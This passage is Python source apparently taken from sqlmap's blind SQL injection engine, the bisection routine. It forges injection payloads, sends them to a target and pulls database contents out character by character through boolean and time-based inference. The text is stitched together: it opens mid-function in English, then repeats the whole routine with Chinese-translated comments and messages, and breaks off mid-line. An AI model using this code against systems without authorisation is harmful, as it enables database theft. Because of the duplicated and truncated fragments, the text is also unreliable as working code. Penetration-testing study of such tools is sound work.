0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = "multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = "starting %d thread%s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = "running in a single-thread mode. Please consider " warnMsg += "usage of option '--threads' for faster data retrieval" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay """ if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False while len(charTbl) != 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # not usable in multi-threading environment if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # favorize last char check if current value inclines toward 0 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 if retried < MAX_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # If we are working with non-continuous elements, both minValue and character after # are possible candidates for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr(conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace() and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip() if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite(expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime("%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException("something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _
def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False): """ 可用于在受影响的主机上执行盲目SQL注入的二分法 """ abortedFlag = False showEta = False partialValue = u"" finalValue = None retrievedLength = 0 asciiTbl = getCharset(charsetType) threadData = getCurrentThreadData() timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)) retVal = hashDBRetrieve(expression, checkConf=True) if retVal: if PARTIAL_HEX_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_HEX_VALUE_MARKER, "") if retVal and conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) elif PARTIAL_VALUE_MARKER in retVal: retVal = retVal.replace(PARTIAL_VALUE_MARKER, "") if retVal and not conf.hexConvert: partialValue = retVal infoMsg = "resuming partial value: %s" % safecharencode(partialValue) logger.info(infoMsg) else: infoMsg = "resumed: %s" % safecharencode(retVal) logger.info(infoMsg) return 0, retVal try: # 如果使用"common prediction"功能(a.k.a.“good samaritan”)或从API调用引擎,请设置kb.partRunSet if conf.predictOutput: kb.partRun = getPartRun() elif conf.api: kb.partRun = getPartRun(alias=False) else: kb.partRun = None if partialValue: firstChar = len(partialValue) elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): firstChar = 0 elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())): firstChar = int(conf.firstChar) - 1 if kb.fileReadMode: firstChar *= 2 elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int): firstChar = int(firstChar) - 1 else: firstChar = 0 if "LENGTH(" in expression.upper() or "LEN(" in expression.upper(): lastChar = 0 elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())): lastChar = int(conf.lastChar) elif isinstance(lastChar, basestring) and lastChar.isdigit() or isinstance(lastChar, int): lastChar = int(lastChar) else: lastChar = 0 if Backend.getDbms(): _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) nulledCastedField = agent.nullAndCastField(fieldToCastStr) expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1) expressionUnescaped = unescaper.escape(expressionReplaced) else: expressionUnescaped = unescaper.escape(expression) if isinstance(length, basestring) and length.isdigit() or isinstance(length, int): length = int(length) else: length = None if length == 0: return 0, "" if length and (lastChar > 0 or firstChar > 0): length = min(length, lastChar or length) - firstChar # 二分算法中输入(入口)的最大 (多线程) 长度 # MAX_BISECTION_LENGTH = 50 * 1024 * 1024 if length and length > MAX_BISECTION_LENGTH: length = None showEta = conf.eta and isinstance(length, int) numThreads = min(conf.threads, length) or 1 if showEta: progress = ProgressBar(maxValue=length) if timeBasedCompare and conf.threads > 1 and not conf.forceThreads: warnMsg = u"多线程在基于时间的数据检索中被认为是不安全的,自动关闭它" singleTimeWarnMessage(warnMsg) if numThreads > 1: if not timeBasedCompare or conf.forceThreads: debugMsg = u"启动%d个线程 %s" % (numThreads, ("s" if numThreads > 1 else "")) logger.debug(debugMsg) else: numThreads = 1 if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput: warnMsg = u"运行在单线程模式,请考虑使用选项“-threads”来更快的检索数据。" singleTimeWarnMessage(warnMsg) if conf.verbose in (1, 2) and not showEta and not conf.api: if isinstance(length, int) and conf.threads > 1: dataToStdout("[%s] [INFO] retrieved: %s" % (time.strftime("%X"), "_" * min(length, conf.progressWidth))) dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) else: dataToStdout("\r[%s] [INFO] retrieved: " % time.strftime("%X")) hintlock = threading.Lock() def tryHint(idx): with hintlock: hintValue = kb.hintValue if hintValue is not None and len(hintValue) >= idx: if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2): posValue = hintValue[idx - 1] else: posValue = ord(hintValue[idx - 1]) forgedPayload = agent.extractPayload(payload) forgedPayload = safeStringFormat(forgedPayload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(agent.replacePayload(payload, forgedPayload), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ 用于推理——在基于时间的SQL注入中,如果原始值和检索的值不相等,会延迟响应时间。 """ validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload) if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) if result and timeBasedCompare: result = threadData.lastCode == kb.injection.data[kb.technique].trueCode if not result: warnMsg = "在验证阶段检测到的HTTP代码'%s'与预期的'%s'不同" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode) singleTimeWarnMessage(warnMsg) incrementCounter(kb.technique) return result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None): """ continuousOrder意味着每两个相邻的数值之间的距离正好是1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(charTbl)(charTbl) if continuousOrder and shiftTable is None: # 用于逐渐扩展到unicode字符空间 shiftTable = [2, 2, 3, 3, 5, 4] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): if ord(char) in charTbl: charTbl.remove(ord(char)) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] firstCheck = False lastCheck = False unexpectedCode = False while len(charTbl) != 1: position = None if charsetType is None: if not firstCheck: try: try: lastChar = [_ for _ in threadData.shared.value if _ is not None][-1] except IndexError: lastChar = None if 'a' <= lastChar <= 'z': position = charTbl.index(ord('a') - 1) # 96 elif 'A' <= lastChar <= 'Z': position = charTbl.index(ord('A') - 1) # 64 elif '0' <= lastChar <= '9': position = charTbl.index(ord('0') - 1) # 47 except ValueError: pass finally: firstCheck = True elif not lastCheck and numThreads == 1: # 在多线程环境中不可用 if charTbl[(len(charTbl) >> 1)] < ord(' '): try: # 如果当前值倾斜到0,则最好使用最后一个字符检查 position = charTbl.index(1) except ValueError: pass finally: lastCheck = True if position is None: position = (len(charTbl) >> 1) posValue = charTbl[position] falsePayload = None if "'%s'" % CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue)) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue) falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL) if timeBasedCompare: if kb.responseTimeMode: kb.responseTimePayload = falsePayload else: kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if not timeBasedCompare: unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode) if unexpectedCode: warnMsg = u"检测到意外的HTTP代码 '%s',在类似情况下使用(额外)验证步骤。" % threadData.lastCode singleTimeWarnMessage(warnMsg) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - 用于内存/空间优化的扩展虚拟字符集 charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # 超越原来的字符集 elif minValue == maxChar: # 如果原来的charTbl是[0,..,127] # 新的一个将是[128,..,(128 << 4) - 1]或128到2047 # 而不是使用所有元素制作一个巨大的列表, # 我们使用一个xrange,它是一个虚拟列表 if expand and shiftTable: charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec threadData.validationRun = 0 # 推断重新验证字符的最大次数(根据需要) # MAX_REVALIDATION_STEPS = 5 if retried < MAX_REVALIDATION_STEPS: errMsg = u"检测到无效字符,重试.." logger.error(errMsg) if timeBasedCompare: if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE: conf.timeSec += 1 warnMsg = u"时间延迟增加到%d秒%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = u"关闭时间自动调整机制" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1) else: errMsg = u"无法正确验证最后一个字符值('%s').." % decodeIntToUnicode(retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: threadData.validationRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = u"时间自动调整机制" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None for index in xrange(len(originalTbl)): if originalTbl[index] == minValue: break # 如果我们正在使用非连续元素,那么minValue和character之后都是可能的候选者 for retVal in (originalTbl[index], originalTbl[index + 1]): forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go 多线程 (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData.shared.value = [None] * length threadData.shared.index = [firstChar] # 作为python嵌套函数范围的列表 threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in (1, 2) and not showEta and not conf.api: _ = count - firstChar output += '_' * (min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length)) output += status if _ != length else " " * len(status) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # 如果我们没有正确抓取一个字符,可能意味着与目标URL的连接丢失 if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = u"\r[%s] [INFO] 部分检索: %s" % (time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = u"\r[%s] [INFO] 检索: %s" % (time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not conf.api: dataToStdout(infoMsg) # No 多线程 (--threads = 1) else: index = firstChar threadData.shared.value = "" while True: index += 1 charStart = time.time() # 常见的预测功能 (a.k.a. "good samaritan") # NOTE: 注意:仅当暂时未设置多线程时使用 if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape("'%s'" % commonValue) if "'" not in commonValue else unescaper.escape("%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or conf.api: dataToStdout(filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape("'%s'" % commonPattern) if "'" not in commonPattern else unescaper.escape("%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery(query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) threadData.shared.value = partialValue = partialValue + val if showEta: 